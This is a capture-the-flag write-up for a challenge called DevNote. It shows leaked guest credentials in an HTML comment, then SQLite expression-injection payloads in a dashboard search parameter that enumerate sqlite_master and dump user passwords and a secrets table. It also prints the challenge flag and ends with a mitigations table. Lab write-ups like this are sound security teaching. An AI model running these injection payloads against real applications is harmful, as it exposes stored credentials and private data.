DevNote - KPMG CTF 2026

Published 2026-10-25 11:52 484 words 3 min read

KPMG CTF 2026 - DevNote


Challenge Description

DevNote is a note-taking application for developers with an internal dashboard. Find a way into the system and recover the hidden flag.


Step 1 - Finding the Initial Credentials

Viewing the HTML source of the login page revealed credentials left behind in an HTML comment:

<!--guest:guest123 -->
Guest credentials in HTML comment
Guest credentials in HTML comment

We logged in with guest:guest123 and landed on the dashboard.


Step 2 - Finding the Injection Point

The dashboard exposed a search interface that passed queries through a q parameter:

/dashboard?q=

Supplying a random string like ?q=test threw a database error:

no such column: test
SQL error from test input
SQL error from test input

Because the application complained that the input was not a column name instead of searching for that text, we knew the input was being evaluated directly as a SQL expression rather than a parameter in a WHERE clause.

We checked the database engine by calling SQLite’s version function:

sqlite_version()
SQLite version confirmed
SQLite version confirmed

The app returned 3.46.1, confirming SQLite was running on the backend.


Step 3 - Enumerating the Database Schema

With expression injection in SQLite, subqueries wrapped in parentheses can extract arbitrary data. We queried sqlite_master to find all table names:

(SELECT group_concat(name) FROM sqlite_master WHERE type IN ('table','view'))
Listing tables from sqlite_master
Listing tables from sqlite_master

The database contained two tables: users and secrets.

We dumped the schema definitions for both:

(SELECT sql FROM sqlite_master WHERE name='users')
(SELECT sql FROM sqlite_master WHERE name='secrets')
Users table schema
Users table schema
Secrets table schema
Secrets table schema

The schemas showed:

  • users had username and password columns
  • secrets had a single data column

Dumping the users table revealed administrative credentials:

(SELECT group_concat(username || ':' || password, ', ') FROM users)
Extracted passwords
Extracted passwords
admin:Adm1n_Ultra_S3cr3t!
dev:devpassword123
guest:guest123

Logging in as admin did not display any additional pages or flags. The actual target was in the secrets table.


Step 4 - Dumping the Secrets Table

We extracted the contents of secrets:

(SELECT group_concat(data, ', ') FROM secrets)
Extracting the flag from secrets
Extracting the flag from secrets

The query returned the flag directly on the dashboard.


Flag

KPMG_CTF{wzW-5DMpXmgCuxyjiq4muxZCJS2mIgj3CqHiGBgkOr0V}

Mitigations

VulnerabilityFix
Plaintext credentials in HTML commentsStrip all debug comments and credentials from production markup
Raw SQL expression evaluationUse parameterized queries and remove arbitrary SQL expression endpoints
Database permissionsRestrict the application database user so it cannot query schema catalogs or internal tables

Summary

The challenge started with leaked guest credentials in an HTML comment. Once inside, the search feature directly evaluated user input as a SQLite column expression. We identified SQLite using sqlite_version(), enumerated the database schema through sqlite_master, and extracted the flag from the secrets table using a subquery.